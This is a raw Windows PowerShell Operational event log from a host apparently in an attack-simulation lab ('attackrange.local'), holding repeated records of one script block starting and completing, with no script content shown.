LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468787
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468786
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468785
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468784
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468783
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469058
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469057
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469056
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469055
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469054
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469053
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469052
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469051
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469050
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469049
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469048
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469047
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469046
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469045
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469044
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469043
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469042
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469041
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469040
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469039
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469038
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469037
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469036
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469035
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469034
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469033
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469032
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469031
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469030
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469029
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469028
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469027
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469026
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469025
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469024
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469023
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469022
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469021
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469020
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469019
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469018
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469017
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469016
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469015
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469014
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469013
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469012
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469011
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469010
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469009
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:16 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469008
Keywords=None
